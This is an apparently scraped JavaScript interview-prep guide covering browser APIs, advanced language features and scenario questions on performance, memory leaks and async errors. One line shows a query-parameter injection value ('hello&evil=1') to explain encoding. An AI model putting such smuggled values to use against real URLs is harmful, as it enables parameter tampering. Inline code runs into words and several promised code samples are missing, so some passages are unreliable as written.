Error.causeproperty (ES2022)?” —throw new Error('High-level failure', { cause: originalError }). It chains errors while preserving the original. Loggingerror.causeshows the root cause. This replaces the awkward pattern of attachingoriginalErroras a custom property. - “How does React’s Error Boundary work?” — A class component with
componentDidCatch(error, info)orstatic getDerivedStateFromError(error). It catches errors during rendering, lifecycle methods, and constructors of its child tree. It does NOT catch: event handler errors, async errors, SSR errors, or errors in the boundary itself. Think of it as try/catch for the React rendering tree.
74. setTimeout vs setInterval (Deep Dive)
74. setTimeout vs setInterval (Deep Dive)
- After 5 nested setTimeout calls, browsers enforce a minimum 4ms delay
- Background tabs: setTimeout/setInterval clamped to ~1000ms minimum (saves battery)
requestAnimationFrameis paused entirely in background tabs
- “How accurate are JavaScript timers?” — Not very.
setTimeout(fn, 100)guarantees a MINIMUM of 100ms, not exactly 100ms. The actual delay depends on: event loop task queue depth, garbage collection pauses, and system load. For precise timing, useperformance.now()to measure elapsed time and adjust:const drift = performance.now() - expectedTime; setTimeout(fn, interval - drift). - “What is
queueMicrotaskand when would you use it over setTimeout?” —queueMicrotask(fn)runs before any timers or rendering (microtask queue).setTimeout(fn, 0)runs after rendering (macrotask queue). UsequeueMicrotaskfor: scheduling work that must complete before the next render. UsesetTimeout(fn, 0)when you intentionally want to yield to the browser for rendering between your tasks.
75. Fetch API (Production Patterns)
75. Fetch API (Production Patterns)
fetch is the modern HTTP client built into browsers. Understanding its quirks is essential — it has several behaviors that surprise developers coming from Axios or jQuery.const data = await fetch(url).then(r => r.json()) — this ignores HTTP errors entirely. A 404 response will try to JSON-parse the error page.Follow-up questions:- “How do you stream a large response with fetch?” — Use
response.body(a ReadableStream):const reader = response.body.getReader(); while (true) { const { done, value } = await reader.read(); if (done) break; processChunk(value); }. This is how you implement progress indicators for large downloads or process NDJSON streams line by line. - “What are the
credentialsoptions and when do you need them?” —'same-origin'(default): send cookies only to same origin.'include': send cookies cross-origin (requires CORSAccess-Control-Allow-Credentials: true).'omit': never send cookies. Use'include'for cross-origin API calls that need auth cookies.
76. FormData API
76. FormData API
FormData is the browser API for building multipart/form-data payloads, primarily used for file uploads. When you pass a FormData object as fetch’s body, the browser automatically sets the correct Content-Type header with the multipart boundary — do NOT set Content-Type manually.Content-Type: 'multipart/form-data' manually strips the boundary string that the browser needs to add. Let the browser handle it.What interviewers are really testing: Do you know NOT to set the Content-Type header with FormData? Can you handle file uploads?Follow-up questions:- “How do you upload multiple files?” — Call
formData.append('files', file)multiple times with the same key. The server receives an array. Or useformData.append('file1', files[0]); formData.append('file2', files[1])for named files. - “How do you track upload progress with fetch?” — Unfortunately,
fetchdoes not natively support upload progress. UseXMLHttpRequestwithxhr.upload.onprogressfor progress events. Alternatively, use a chunked upload approach where you upload slices of the file and track progress client-side.
77. URL and URLSearchParams
77. URL and URLSearchParams
URL and URLSearchParams APIs provide structured, safe URL manipulation — replacing error-prone string concatenation and manual encoding.`/api?q=${query}` does not encode special characters. If query is "hello&evil=1", you get param injection. URLSearchParams auto-encodes.What interviewers are really testing: Do you know URLSearchParams handles encoding automatically? Do you use structured URL manipulation instead of string concatenation?Follow-up questions:- “What is the difference between
encodeURIComponentand URLSearchParams encoding?” —URLSearchParamsencodes spaces as+(application/x-www-form-urlencoded standard).encodeURIComponentencodes spaces as%20. Both are valid but produce different strings. Use URLSearchParams for query strings,encodeURIComponentfor URL path segments.
78. Blob and File APIs
78. Blob and File APIs
Blob (Binary Large Object) represents immutable raw binary data. File extends Blob with a name and modification date. Together they handle binary data operations: file downloads, uploads, image manipulation, and data URIs.URL.createObjectURL() creates a reference that stays in memory until the page unloads or you call URL.revokeObjectURL(). Forgetting to revoke causes memory leaks, especially in apps that generate many blob URLs (image editors, file managers).What interviewers are really testing: Do you know to revoke object URLs? Can you handle file operations (download, upload, chunking)?Follow-up questions:- “How do you convert between Blob, ArrayBuffer, and Base64?” —
Blobto ArrayBuffer:await blob.arrayBuffer(). ArrayBuffer to Blob:new Blob([arrayBuffer]). Blob to Base64:const reader = new FileReader(); reader.readAsDataURL(blob). Or modern:const base64 = btoa(String.fromCharCode(...new Uint8Array(await blob.arrayBuffer()))). - “When would you use Blob URLs vs Data URIs?” — Blob URLs (
blob:...) are references to in-memory data (fast, no size limit, but same-origin only). Data URIs (data:...) encode the data inline as base64 (33% larger, works cross-origin, no revocation needed). Use Blob URLs for large files (images, videos), Data URIs for small inline data (icons, thumbnails under 10KB).
79. Canvas API
79. Canvas API
- “How do you make Canvas animations smooth?” — Use
requestAnimationFramefor the animation loop. Clear the canvas each frame (ctx.clearRect(0, 0, w, h)), then redraw. For complex scenes, use double buffering: draw to an offscreen canvas, then copy to the visible canvas in one operation. UseOffscreenCanvasin a Web Worker for heavy rendering without blocking the UI. - “What is OffscreenCanvas?” — A canvas that can be used in Web Workers (no DOM dependency). Transfer the canvas to a worker with
canvas.transferControlToOffscreen(), then the worker handles all rendering. The main thread stays free for UI. Used by: Figma, Google Maps, and any app with heavy canvas rendering.
80. Client-Side Storage (Comprehensive)
80. Client-Side Storage (Comprehensive)
- Cookies (4KB): auth tokens, server-readable preferences
- SessionStorage (5MB): per-tab temporary state
- LocalStorage (5-10MB): persistent user preferences, small caches
- IndexedDB (50MB+): offline data, large structured storage
- Cache API: HTTP response caching for PWAs
- OPFS (Origin Private File System): high-performance file access (new)
- “How do you handle storage quota limits?” — Use
navigator.storage.estimate()to check available space. Implement eviction policies (LRU for IndexedDB, versioned caches for Cache API). Request persistent storage withnavigator.storage.persist()to prevent the browser from evicting your data under storage pressure. - “What is OPFS (Origin Private File System)?” — A new API that provides a sandboxed file system per origin. Unlike IndexedDB, it offers synchronous file access in Web Workers (via
createSyncAccessHandle), making it ideal for: SQLite-in-browser (the official SQLite Wasm build uses OPFS), file editors, and any app that needs fast random-access file I/O.
10. Advanced JavaScript Patterns
81. Proxy Traps (Complete Guide)
81. Proxy Traps (Complete Guide)
=== comparison, typeof, or operations on primitive values. Proxy traps only fire on object-level operations. Also: using Proxies in hot loops without understanding the 2-5x performance overhead per operation.Follow-up questions:- “What are Proxy invariants and when do they throw?” — Proxies have consistency rules enforced by the engine. For example: if the target property is non-configurable and non-writable, the
gettrap MUST return the actual value (cannot lie). IfObject.isExtensible(target)is false,ownKeysmust return exactly the target’s own keys. Thehastrap cannot hide a non-configurable own property. These invariants prevent Proxies from breaking the object model’s guarantees. Violating them throwsTypeError— I have seen this crash Vue 3 apps when developers freeze reactive objects. - “How would you use the
applytrap to create a logging decorator?” —const logged = new Proxy(fn, { apply(target, thisArg, args) { console.log('Called with', args); const result = Reflect.apply(target, thisArg, args); console.log('Returned', result); return result; } }). This intercepts all function calls transparently. In production, we used this pattern to add automatic timing to all database query functions: theapplytrap measured execution time and sent metrics to Datadog. - “How do you Proxy a class constructor?” — Use the
constructtrap:new Proxy(MyClass, { construct(target, args) { console.log('Creating instance with', args); return Reflect.construct(target, args); } }). This interceptsnew MyClass(...)calls. Real use case: dependency injection containers that intercept constructor calls to inject dependencies automatically.
82. WeakMap and WeakSet (Advanced Use Cases)
82. WeakMap and WeakSet (Advanced Use Cases)
Map where WeakMap would be correct, then wondering why your Node.js server’s RSS grows by 500MB over 24 hours.Follow-up questions:- “Why is
WeakRef+FinalizationRegistryneeded if we haveWeakMap?” —WeakMapties the lifetime of a value to its key.WeakReflets you hold a reference to ANY object without preventing its GC — you can check if it is still alive viaderef(). Use case: a cache where you want to return the original object if it still exists, but not prevent its collection.FinalizationRegistryis the companion that lets you run cleanup code when the object is finally collected — for example, removing a cache key from a regularMapwhen the associated data object is GC’d. - “In a real SPA, where would you use WeakMap vs Map?” — Use
WeakMapfor: associating metadata with component instances (React refs, animation state), caching computed values tied to DOM elements (layout measurements), and tracking object relationships where you do not control the object lifecycle. UseMapfor: application-level caches with explicit eviction (LRU), lookup tables that persist for the app lifetime, and any case where you need iteration or.size. - “What is the gotcha with WeakMap and primitives?” — WeakMap keys must be objects (or non-registered Symbols since ES2023).
weakMap.set('string', value)throwsTypeError. This is because primitives are not garbage-collected — they are copied by value, so there is no “object lifetime” to track. If you need weak associations with string keys, you must wrap them in objects or use a different data structure.
83. Symbol.iterator and Custom Iterables
83. Symbol.iterator and Custom Iterables
for...of, spread, destructuring, Array.from, and Promise.all know how to iterate over your custom objects. Implementing Symbol.iterator makes any object work with all these constructs.[Symbol.iterator](). An iterator is an object with next(). Often the same object is both (the iterator returns this from [Symbol.iterator]()). Keeping them separate allows multiple independent iterations over the same collection.What interviewers are really testing: Can you implement the iteration protocol from scratch? Do you understand why it enables all built-in language constructs that work with collections?Follow-up questions:- “What is the difference between an iterable and an iterator?” — An iterable is a factory: it creates iterators.
[Symbol.iterator]()returns a fresh iterator each time. An iterator is stateful: it tracks the current position. Arrays are iterables; callingarr[Symbol.iterator]()returns a new iterator. If you iterate twice withfor...of, each loop gets its own iterator. If the iterable returnsthisas the iterator, you can only iterate once. - “How do you make an object both iterable and async-iterable?” — Implement both
[Symbol.iterator]for sync iteration and[Symbol.asyncIterator]for async iteration.for...ofuses the sync version,for await...ofuses the async version. Readable streams implementSymbol.asyncIteratornatively.
84. Generator Delegation with yield*
84. Generator Delegation with yield*
yield* delegates iteration to another iterable (generator, array, string, etc.). It is the composition mechanism for generators — you can build complex iterators from simple ones.yield*: yield* returns whatever the delegated generator returns (from its return statement). This enables inter-generator communication: function* inner() { return 'done'; } function* outer() { const result = yield* inner(); console.log(result); // 'done' }.What interviewers are really testing: Do you understand generator composition? Can you use yield* for recursive tree traversal?Follow-up questions:- “How does
yield*handlethrowandreturnon the delegated generator?” — If the outer consumer callsgen.throw(err), the error is forwarded to the delegated generator. If the delegated generator catches it, execution continues. If not, it propagates back. Similarly,gen.return(val)callsreturn(val)on the delegated generator. This enables proper cleanup in composed generators.
85. Async Generators & Streaming
85. Async Generators & Streaming
- “How do you handle errors and cleanup in
for await...of?” — Wrap in try/catch:try { for await (const item of stream) { ... } } catch (err) { handle(err); } finally { cleanup(); }. If youbreakout of the loop, the generator’sreturn()method is called, running anyfinallyblocks inside the generator. This ensures proper resource cleanup. - “How does Node.js Readable stream’s async iterator interface work?” — Node.js readable streams implement
Symbol.asyncIterator, so you can dofor await (const chunk of fs.createReadStream('file.txt')) { ... }. The stream is automatically paused when the loop awaits (backpressure) and resumed when it is ready for more data. This is the cleanest way to process files and network streams in Node.
86. SharedArrayBuffer and Atomics
86. SharedArrayBuffer and Atomics
87. FinalizationRegistry (Advanced)
87. FinalizationRegistry (Advanced)
dispose()/close() method and use try...finally or the upcoming using declaration (Explicit Resource Management proposal).What interviewers are really testing: Do you understand the non-deterministic nature of GC? Do you know this is a fallback, not a primary cleanup strategy?Follow-up questions:- “What is the Explicit Resource Management proposal (
usingkeyword)?” — TC39 Stage 3.using resource = new FileHandle()automatically callsresource[Symbol.dispose]()when the block exits (like C#usingor Pythonwith).await usingfor async cleanup. This is the proper deterministic cleanup pattern that FinalizationRegistry cannot provide.
88. Private Class Fields & Methods
88. Private Class Fields & Methods
# prefix creates truly private class members — enforced by the engine, not by convention. Unlike TypeScript’s private (which is compile-time only), #fields cannot be accessed outside the class even with bracket notation or Reflect.#field— True privacy, engine-enforced. Cannot be accessed outside the class even with reflection.WeakMap— True privacy, pre-ES2022 pattern. More verbose. Allows cross-class sharing.Symbol— Non-collision, but discoverable viaObject.getOwnPropertySymbols()._field— Convention only. Accessible by anyone. TypeScriptprivateis also convention (erased at compile time).
#) and convention (_)? Do you know private fields are not accessible via bracket notation?Follow-up questions:- “Can you check if an object has a private field from outside the class?” — Not directly, but the class can provide a static method:
static hasAccount(obj) { try { obj.#balance; return true; } catch { return false; } }. Or use#field in obj(ES2022):static isAccount(obj) { return #balance in obj; }. This is theinoperator for private fields. - “How do private fields interact with subclasses?” — Private fields are NOT inherited. A subclass cannot access
#balancefrom its parent. This is by design — private means private to the declaring class, not to the class hierarchy. If a subclass needs access, the parent must provide a protected-style method (using a naming convention, as JS has noprotectedkeyword).
89. Static Initialization Blocks
89. Static Initialization Blocks
Config.apiUrl = ... — breaks encapsulation), or (2) use IIFEs in static field initializers (ugly). Static blocks provide a clean, encapsulated initialization scope with access to private static fields.What interviewers are really testing: Do you know this ES2022 feature? Can you explain when it is better than static field initializers?Follow-up questions:- “When are static initialization blocks evaluated?” — When the class declaration is evaluated (not when the first instance is created). If the class is in a module, it runs when the module is first imported. They run after all static field initializers, in declaration order. Multiple static blocks run sequentially.
90. Top-Level Await
90. Top-Level Await
await (ES2022) lets you use await at the module level without wrapping it in an async function. The module’s evaluation pauses until the awaited promise settles.Promise.all for parallel top-level fetches?Follow-up questions:- “Can you use top-level await in CommonJS?” — No. Top-level await only works in ES modules. In Node.js, this means files with
.mjsextension or"type": "module"in package.json. In CommonJS files, you need an async IIFE:(async () => { const data = await fetchData(); })(). - “What happens if a top-level await rejects?” — The module fails to load. Any module that imports it also fails. This is equivalent to a top-level throw. Handle errors with try/catch at the top level:
let config; try { config = await loadConfig(); } catch { config = defaultConfig; }.
91. Dynamic import() (Advanced Patterns)
91. Dynamic import() (Advanced Patterns)
import() (but not static import)? Do you understand the difference between import() and require() in terms of async behavior?Follow-up questions:- “What is the security risk of
import(userInput)?” — IfuserInputis user-controlled, an attacker could load arbitrary modules from your server. Always validate against a whitelist:const allowed = ['chart', 'table']; if (!allowed.includes(name)) throw new Error('Invalid module'). Bundlers like Webpack restrictimport()to known directories based on the glob pattern in magic comments.
92. Observable Pattern (Pub/Sub)
92. Observable Pattern (Pub/Sub)
- “What is the TC39 Observable proposal?” — Observables are a Stage 1 TC39 proposal to add native
Observableto JavaScript (similar to howPromisewas added). It would standardize the interface that RxJS, MobX, and other reactive libraries use.element.on('click')would return an Observable instead of requiringaddEventListener. - “When would you use RxJS over plain event listeners?” — When you need complex event composition: debouncing, throttling, combining multiple streams, retrying failed operations, race conditions between streams. Example: search-as-you-type requires debounce + switchMap (cancel previous request) + distinctUntilChanged + error retry. Doing this with raw event listeners is 50+ lines; RxJS does it in 5.
93. Memoization (Production Patterns)
93. Memoization (Production Patterns)
React.memo, useMemo, reselect, and memoize-one.JSON.stringify key problem: JSON.stringify is slow for large objects, and it cannot distinguish undefined from missing keys ({a: undefined} and {} produce the same JSON). For object arguments, use a WeakMap keyed on the object reference. For primitive arguments, use the value directly as key.What interviewers are really testing: Do you know when memoization helps and when it hurts? Can you implement it? Do you understand cache invalidation concerns?Red flag answer: Memoizing impure functions (functions with side effects). If fetchUser(id) is memoized, you get stale data. Memoization only works for pure functions.Follow-up questions:- “How does React’s
useMemodiffer from general memoization?” —useMemocaches ONE value, recomputing only when dependencies change (shallow comparison). It is more likememoize-onethan a general cache. It is scoped to a component instance and cleared on unmount. General memoization caches ALL previous results. React’s approach is cheaper (no unbounded cache growth) but only useful for “same inputs as last time” optimization. - “What is the tradeoff of memoization?” — Memory for speed. An unbounded memoization cache leaks memory if the function is called with many unique arguments. Always set a max cache size or use
memoize-onefor React selectors. Also: the cache key computation (JSON.stringify, hashing) itself has a cost — for cheap functions, memoization can be slower than recomputing.
94. Debounce vs Throttle (Implementation Deep Dive)
94. Debounce vs Throttle (Implementation Deep Dive)
- “How does lodash’s
debouncewithmaxWaitcombine debounce and throttle?” —maxWaitguarantees the function is called at least once everymaxWaitmilliseconds, even during continuous invocation. This combines the “wait for silence” behavior of debounce with the “guarantee periodic execution” behavior of throttle._.debounce(fn, 300, { maxWait: 1000 })waits for 300ms of silence but fires at least every 1s.
95. Event Delegation (Advanced)
95. Event Delegation (Advanced)
closest() for robust delegation with nested markup? Do you know the signal option for auto-cleanup?Follow-up questions:- “How does delegation interact with
stopPropagationfrom child components?” — If a child callse.stopPropagation(), the event does not reach the delegated parent listener. This can silently break delegation. This is why overusingstopPropagationis considered an anti-pattern — it breaks patterns that rely on event bubbling. Usee.stopImmediatePropagation()only when you are certain no ancestor needs the event.
96. Custom Events & EventTarget
96. Custom Events & EventTarget
CustomEvent lets you create application-level events that integrate with the DOM event system. Combined with EventTarget, you can build a full pub/sub system without third-party libraries.CustomEvent is the standard way to create app events? Do you know EventTarget can be used standalone (not just on DOM elements)?Follow-up questions:- “When would you use CustomEvent vs a simple callback/observable?” — CustomEvent integrates with the DOM (bubbling, capturing, preventDefault). Use it for: cross-component communication in vanilla JS/Web Components, custom form validation events, and analytics/tracking events that bubble up to a global handler. Use callbacks/observables for: pure JS business logic, React state management, and anything that does not need DOM integration.
97. Performance API (Measuring & Monitoring)
97. Performance API (Measuring & Monitoring)
- “How do you measure Core Web Vitals in production?” — Use the
web-vitalsnpm library (by Google):import { onLCP, onFID, onCLS } from 'web-vitals'; onLCP(metric => sendToAnalytics(metric)). It handles all the PerformanceObserver setup, buffered entries, and edge cases. Send metrics to your analytics backend (DataDog, New Relic, custom endpoint) for real user monitoring. - “What is the difference between
performance.now()andDate.now()?” —performance.now()is a high-resolution timestamp (microsecond precision in some browsers) relative to the page load.Date.now()is millisecond precision relative to epoch.performance.now()is monotonic (never goes backward due to clock adjustments), making it correct for measuring durations. Always useperformance.now()for performance measurements.
98. IntersectionObserver (Advanced)
98. IntersectionObserver (Advanced)
- “How would you implement a table-of-contents that highlights the current section?” — Use IntersectionObserver with
rootMargin: '-20% 0px -80% 0px'(the top 20% of the viewport is the detection zone). When a section enters this zone, highlight its nav link. Observe all sections. Usethreshold: 0for binary detection. Edge case: handle the last section which might not fill the viewport.
99. MutationObserver
99. MutationObserver
MutationObserver watches for DOM changes (element additions, removals, attribute changes, text content changes) and fires a callback with a batch of mutations. It is the modern replacement for the deprecated Mutation Events and is how many libraries detect DOM changes.- Auto-initialization: Libraries like Alpine.js and htmx use MutationObserver to detect new elements and initialize them (bind events, fetch data)
- DOM-based analytics: Track which elements users interact with without manually instrumenting each one
- Content security: Detect and remove injected script tags (defense-in-depth against XSS)
- Third-party widget management: Detect when a third-party script injects DOM elements and apply your styling or constraints
- “What is the performance impact of MutationObserver?” — MutationObserver callbacks are batched (fired as microtasks after DOM mutations settle). Observing
subtree: trueondocument.bodymeans every DOM mutation in the page triggers the callback. For complex apps with frequent DOM updates, this can add 1-5ms per batch. Minimize by: observing specific containers instead ofbody, filtering mutations in the callback quickly, and usingdisconnect()when not needed. - “How does MutationObserver differ from ResizeObserver and IntersectionObserver?” — MutationObserver watches DOM structural changes (add/remove/attribute). ResizeObserver watches element size changes. IntersectionObserver watches visibility changes relative to a viewport. They serve completely different purposes and can be used together.
100. Web Workers (Advanced Patterns)
100. Web Workers (Advanced Patterns)
Transferable objects for zero-copy data transfer?Follow-up questions:- “How do you share code between the main thread and workers?” — Use ES modules in workers:
new Worker('worker.js', { type: 'module' }). This enablesimportstatements in the worker for shared utility functions. Without module support, you can useimportScripts('shared.js')(synchronous, no tree shaking). - “What is
navigator.hardwareConcurrencyand how does it guide worker pool sizing?” — It returns the number of logical CPU cores available (e.g., 8 on a quad-core with hyperthreading). Use it to size your worker pool — more workers than cores provides no benefit and increases context-switching overhead. For IO-bound workers (fetch, indexedDB), you can exceed core count. For CPU-bound workers (computation), match core count minus 1 (leave one core for the main thread and UI).
Advanced Scenario-Based Questions
S1. Event Loop Blocking: The 200ms Freeze
S1. Event Loop Blocking: The 200ms Freeze
processTickerBatch() function that parses and sorts 5,000 incoming price updates into a sorted order book. How do you diagnose and fix this without dropping data?What weak candidates say:- “Just use
async/awaitto make it non-blocking.” (Misunderstands thatawaitdoes not magically yield to the event loop mid-computation — CPU-bound work still blocks.) - “Move it to a Web Worker” with no mention of the serialization cost of
postMessageor how to reconcile worker state with the main thread’s rendering state. - Cannot explain why
setTimeout(fn, 0)does not actually execute at 0ms (browser clamps to ~4ms minimum, and it only yields once per chunk).
- Diagnosis first: Open DevTools Performance tab, record a trace, look at the “Main” flame chart for long tasks exceeding 50ms (the Long Tasks API threshold). Use
performance.mark()/performance.measure()aroundprocessTickerBatch()to confirm it is the bottleneck. - Root cause: The event loop is single-threaded. A synchronous 200ms sort blocks the microtask queue drain, rAF callbacks, and input event processing. The UI literally cannot repaint until the call stack unwinds.
- Fix 1 — Time-slicing with
scheduler.yield()or manual chunking: Break the 5,000-item sort into chunks of ~500, yielding back to the event loop between chunks usingsetTimeout(0)or the newerscheduler.yield()API. This keeps each task under 50ms. - Fix 2 — Web Worker: Offload the entire sort to a dedicated worker. Use
Transferableobjects (e.g.,ArrayBuffer) instead of structured clone to avoid the serialization overhead. Post back only the diff (changed indices) rather than the full sorted array. - Fix 3 — Algorithmic: Switch from full re-sort (
O(n log n)every tick) to an insertion into a pre-sorted structure (O(log n)per update). A binary search + splice or a skip list drastically reduces per-tick CPU time. - War story: “At a fintech startup, we had this exact problem with a Level 2 order book. We moved to a Web Worker with
SharedArrayBufferso the worker could write directly into shared memory, and the main thread just read the latest snapshot on eachrequestAnimationFrame. Dropped the main-thread cost from ~180ms to ~2ms per tick.”
- What is the difference between
queueMicrotask(),setTimeout(fn, 0), andrequestAnimationFrame()for yielding? Which one actually lets the browser repaint before your next chunk runs? - If you use
scheduler.yield(), how does it differ fromsetTimeout(0)in terms of task priority and continuation semantics? - The Long Tasks API reports tasks over 50ms. How would you set up automated monitoring in production to alert on event loop blocking without DevTools open?
S2. Memory Leaks in Closures: The SPA That Ate 2GB of RAM
S2. Memory Leaks in Closures: The SPA That Ate 2GB of RAM
setInterval timers inside closures. Walk me through how you find and fix this.What weak candidates say:- “Use
useEffectcleanup” — correct instinct but no explanation of why the closure retains the reference or how to verify the fix in a heap snapshot. - Cannot explain the difference between a detached DOM node and a garbage-collected one, or how the closure’s scope chain prevents GC.
- Suggest “just refresh the page” or “use server-side rendering” as a workaround.
- Step 1 — Reproduce and measure: Open Chrome DevTools Memory tab. Take a heap snapshot (baseline). Navigate to Route B and back to Route A three times. Take another snapshot. Use the “Comparison” view to see objects allocated between snapshots that were NOT freed. Look for
Detached HTMLDivElement, largeArrayallocations, and closure scopes. - Step 2 — Identify the retention path: Select a leaked object, inspect the “Retainers” panel. This shows the chain of references preventing GC. Typically you will see:
closure scope -> timer callback -> reference to component DOM node -> entire detached subtree. - The mechanism: When a component mounts and runs
setInterval(() => updateChart(this.canvas), 1000), the arrow function closes overthis.canvas. When the component unmounts (route change), ifclearIntervalis never called, the interval callback persists. The closure holds a reference tothis.canvas, which holds a reference to the detached DOM subtree. The GC cannot collect any of it. - Fix: Always return a cleanup function from
useEffect. But also audit for:addEventListenerwithoutremoveEventListener,MutationObserver/IntersectionObserverwithoutdisconnect(), WebSocketonmessagehandlers that reference stale component state. - Deeper fix — WeakRef for caches: If you cache component instances or DOM references in a
Map, switch toWeakRefwrappers so the cache does not prevent GC: - Production monitoring: Use
performance.measureUserAgentSpecificMemory()(Chrome origin trial) to track JS heap size in production. Alert if p95 exceeds a threshold after N minutes of session time. - War story: “We tracked a 1.5GB leak in a healthcare dashboard to a charting library that registered a
resizeobserver onwindowper chart instance but never removed it on unmount. Each observer’s callback closed over the chart’s entire dataset. Fix was a one-linedisconnect()call in the cleanup path. Memory flatlined at 120MB after that.”
- How does
WeakRefdiffer fromWeakMapin terms of what can be held weakly? When would you pick one over the other? - A closure captures the entire lexical scope, not just the variables it uses. V8 optimizes this — how? What is “scope analysis” in the context of closure variable capture, and when does V8 fail to optimize it?
- You fixed the leak but now your
FinalizationRegistrycleanup callback is not firing consistently. Why might that be, and what guarantees (or lack thereof) does the spec give about callback timing?
S3. Prototype Chain Bugs: The Mysterious Inherited Property
S3. Prototype Chain Bugs: The Mysterious Inherited Property
Plugin prototype. Users report that when they instantiate two different plugins, modifying a configuration array on one plugin mutates it on the other. The bug only happens for array/object properties, not primitives. Here is the simplified code:- “It is a reference type issue” — vague and imprecise. Cannot articulate that the prototype chain lookup returns the same mutable object.
- Suggest
Object.assignor spread as a fix without explaining why that works (creating an own property that shadows the prototype property). - Have no mental model of the prototype chain lookup algorithm: check own properties first, then walk
__proto__.
- Root cause:
pluginA.tags.push('security')does NOT create a new own property onpluginA. The.tagslookup walks the prototype chain, findsPlugin.prototype.tags(the shared array), and mutates it in-place viapush. Both instances share the exact same array reference through the prototype. - Why primitives are different:
pluginA.enabled = falseDOES create a new own property onpluginAbecause assignment (=) always creates/overwrites an own property. Mutation methods likepush,splice,sortoperate on the looked-up reference without triggering property assignment on the instance. - The lookup algorithm:
- Check
pluginAown properties fortags— not found. - Check
pluginA.__proto__(i.e.,Plugin.prototype) — foundtags: []. - Return that reference.
pushmutates the found array.
- Check
- Fix 1 — Initialize in constructor:
- Fix 2 — Use ES6 classes (same semantics but clearer):
- Fix 3 — If prototype sharing is intentional (rare), use defensive copy:
- V8 internals note: This also matters for V8 hidden classes. When the constructor consistently initializes all own properties in the same order, V8 assigns a stable hidden class (Shape). Objects that rely on prototype properties for mutable state get different shapes at different times, defeating inline caches.
- War story: “I saw this exact pattern in a Webpack plugin ecosystem where a base loader class had
this.errors = []on the prototype instead of in the constructor. Every loader instance shared the same errors array. One failing build would poison error messages into completely unrelated builds running in the same process. Took two days to track down because the symptoms were non-deterministic depending on build order.”
- What does
Object.hasOwn(pluginA, 'tags')return before and after the push? What about afterpluginA.tags = ['new']? - How would you use
Object.create(null)to create an object with no prototype chain at all? When is this useful in production (hint: think dictionary/map objects)? - If someone defines a getter/setter on the prototype for
tags, doespluginA.tags = []still create an own property, or does it invoke the setter? How does this interact withObject.definePropertyvs direct assignment?
S4. Async Error Swallowing: The Silent Failure
S4. Async Error Swallowing: The Silent Failure
- “Add a
try/catch” — technically correct but cannot explain where the unhandled rejection is occurring or whyres.status(200)was already sent. - Do not recognize the fire-and-forget anti-pattern: calling an async function without
awaitor.catch()means the returned promise is never observed. - Suggest wrapping everything in
try/catchinside the route handler, not realizing the async processing intentionally happens afterres.send().
- The bug:
processPayment(req.body)returns a Promise, but it is neverawaited and has no.catch(). IfvalidateSignature,db.payments.insert, ornotifyUserthrows, the rejection is unhandled. Node.js will emit anunhandledRejectionevent, but by default it only logs a warning (in older Node) or crashes the process (Node 15+). Either way, no application-level error handling runs, and the payment is silently lost. - Why 5% and not 100%: The 5% are likely transient failures — database connection timeouts, signature validation failures on malformed payloads, or race conditions. The 95% succeed silently, masking the broken error handling.
- Fix 1 — Catch fire-and-forget promises:
- Fix 2 — Use a proper job queue: The real fix is to not do async background processing in the request handler at all. Enqueue the work to a durable job queue (BullMQ, SQS, RabbitMQ) and process it in a separate worker with retries, dead-letter queues, and idempotency keys.
- Fix 3 — Global safety net:
But this is a safety net, not a solution. You should never rely on
unhandledRejectionfor business logic. - The deeper issue — Promise chain hygiene: Every async function call site must either
awaitthe result (sotry/catchworks) or attach a.catch(). Lint rules likeno-floating-promises(typescript-eslint) or@typescript-eslint/no-misused-promisescatch this at build time. - War story: “At a payments company, we lost $40K in transactions over a weekend because a
processRefund()call was fire-and-forget. The DB connection pool was exhausted under load, causing intermittent insert failures. No errors were logged because the promise rejections were unobserved. We added BullMQ with dead-letter monitoring and ano-floating-promiseslint rule the following Monday.”
- What is the difference between
unhandledRejectionanduncaughtExceptionin Node.js? When does each fire? - If you
awaitan already-rejected promise inside atry/catch, does thecatchblock run synchronously or asynchronously? What does the call stack look like? - How does
Promise.allSettled()help when you need to run multiple independent async operations and you do not want one failure to cancel the others? Show a pattern for collecting partial results.
S5. Bundler Performance: The 90-Second Build
S5. Bundler Performance: The 90-Second Build
- “Switch to Vite” — potentially correct but shows no understanding of why Webpack is slow or what Vite does differently (native ESM in dev, esbuild/SWC for transforms, Rollup for prod).
- “Enable code splitting” with no specifics about how (dynamic
import(), route-based splitting, vendor chunk separation). - Cannot explain what tree shaking is or why barrel files (
index.tsre-exporting everything) defeat it.
- Step 1 — Profile the build: Use
speed-measure-webpack-pluginor Webpack’s--profile --jsonflag to identify which loaders and plugins consume the most time. Common offenders:babel-loaderonnode_modules,ts-loaderin type-checking mode,css-loaderwith large SCSS dependency graphs, andterser-webpack-pluginminification. - Step 2 — Analyze the bundle: Run
webpack-bundle-analyzerorsource-map-explorer. Look for: entire lodash (500KB) when you use 3 functions, moment.js with all locales (300KB), duplicate copies of the same library at different versions, and unshaken barrel files pulling in entire packages. - Quick wins (often 3-5x improvement):
- Replace
babel-loaderwithswc-loaderoresbuild-loader: SWC/esbuild transpile 20-70x faster than Babel because they are written in Rust/Go, not JavaScript. - Skip type-checking in the build: Use
fork-ts-checker-webpack-pluginto run TypeScript checking in a separate process, or rely on your IDE/CI for type checking. - Scope
babel-loader/swc-loadertosrc/only: Do not transpilenode_modulesunless specific packages need it. - Replace lodash with lodash-es and use direct imports:
import debounce from 'lodash-es/debounce'instead ofimport { debounce } from 'lodash'. - Replace moment.js with date-fns or dayjs: 2KB vs 300KB.
- Replace
- Bundle size reduction:
- Route-based code splitting: Every route becomes a lazy-loaded chunk via
React.lazy()+Suspense+ dynamicimport(). - Externalize large dependencies: Serve React/ReactDOM from a CDN instead of bundling them.
- Avoid barrel file re-exports: A
components/index.tsthat re-exports 50 components defeats tree shaking. Import directly from the file.
- Route-based code splitting: Every route becomes a lazy-loaded chunk via
- Dev speed (HMR):
- Switch to Vite for dev: Vite serves modules as native ESM, so it only transforms the file you changed, not the entire dependency graph. HMR is typically under 100ms.
- If staying on Webpack: Enable
cache.type: 'filesystem'for persistent caching across restarts. Usereact-refreshvia@pmmmwh/react-refresh-webpack-plugin.
- War story: “We cut a Webpack build from 110s to 18s at a B2B SaaS company by doing three things: replaced
babel-loaderwithswc-loader(40s saved), addedcache.type: 'filesystem'(30s saved on warm builds), and removed a barrel file insrc/components/index.tsthat was pulling 200 components into every chunk (20s saved + 1.8MB off the bundle). The HMR issue we fixed by migrating dev to Vite while keeping Webpack for production.”
- Explain how tree shaking works at the module level. Why do CommonJS modules resist tree shaking while ES modules enable it? What role does the
sideEffectsfield inpackage.jsonplay? - What is the difference between
